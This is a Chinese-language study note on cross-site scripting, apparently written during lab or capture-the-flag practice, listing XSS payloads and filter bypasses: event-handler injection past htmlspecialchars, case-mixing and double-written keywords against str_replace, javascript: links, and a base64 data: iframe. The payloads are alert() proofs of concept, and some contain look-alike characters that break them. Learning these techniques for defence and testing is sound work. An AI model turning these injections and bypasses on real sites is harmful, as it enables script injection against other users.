xss 跨站脚本攻击
常用payload:
<script>alert(1)</script> // 调用JavaScript语句 <img src=x οnerrοr=alert(1)> // src是错误的 就会调用error函数 <a href=javascript:alert(1)> // 点击a即可触发 <svg οnlοad=alert(1)> // 使用svg标签
JavaScript伪协议
JavaScript伪协议是一种特殊的URL协议,以"javascript:"开头,后面跟着JavaScript代码。当浏览器解析包含JavaScript伪协议的URL时,会立即执行其中的JavaScript代码。这种协议通常用于在HTML中直接嵌入JavaScript代码。
xss之htmlspecialchars
:函数htmlspecialchars会把尖角符 <>实体编码
onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后再配合javascript伪协议来执行javascript代码
' οnfοcus=javascript:alert() '
给input标签做属性,用on事件
' οnfοcus='alert(123)' ' οnclick='alert(123)' ' οnblur='alert(123)'//或者 'οnblur=Javascript:alert('jaden')
xss之大小写混合/双写绕过
大小写法绕过str_replace()函数 ,替换函数可以替换指定字符
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
双写
-
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
-
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
xss之js输出 :
实体编码和编码绕过
可以中文换Unicode编码或者ASCLL编码 ,不过只能指定位置使用编码如href的值
xss之href输出
<a href='javascript:alert(123)'> baidu </a> //出现一个baidu的文本,点击会出现123的弹框
可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效
巧妙利用注释
如遇见检查链接是否合理:检查语句中是否有http:
<a href='javascript:alert(123)'> // http;baidu </a>
标签触发
-
src(source)是一个指向,可以大概理解跟href一样把,只是执行的内容不太一样
-
data一般在<iframe>标签中用来配合date:text/html
试一下src,这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号,构造payload
"> <img src='666' οnerrοr=alert()> <"
onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数
img标签用法
①当鼠标移出图片的时候执行的属性onmouseout
"> <img src=666 οnmοuseοut="alert()"> <"
②当鼠标移动到图片的时候执行的属性onmouseover
"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"
iframe标签
绕过data,插入一个标签data:text/html;base64, 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>
做题小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示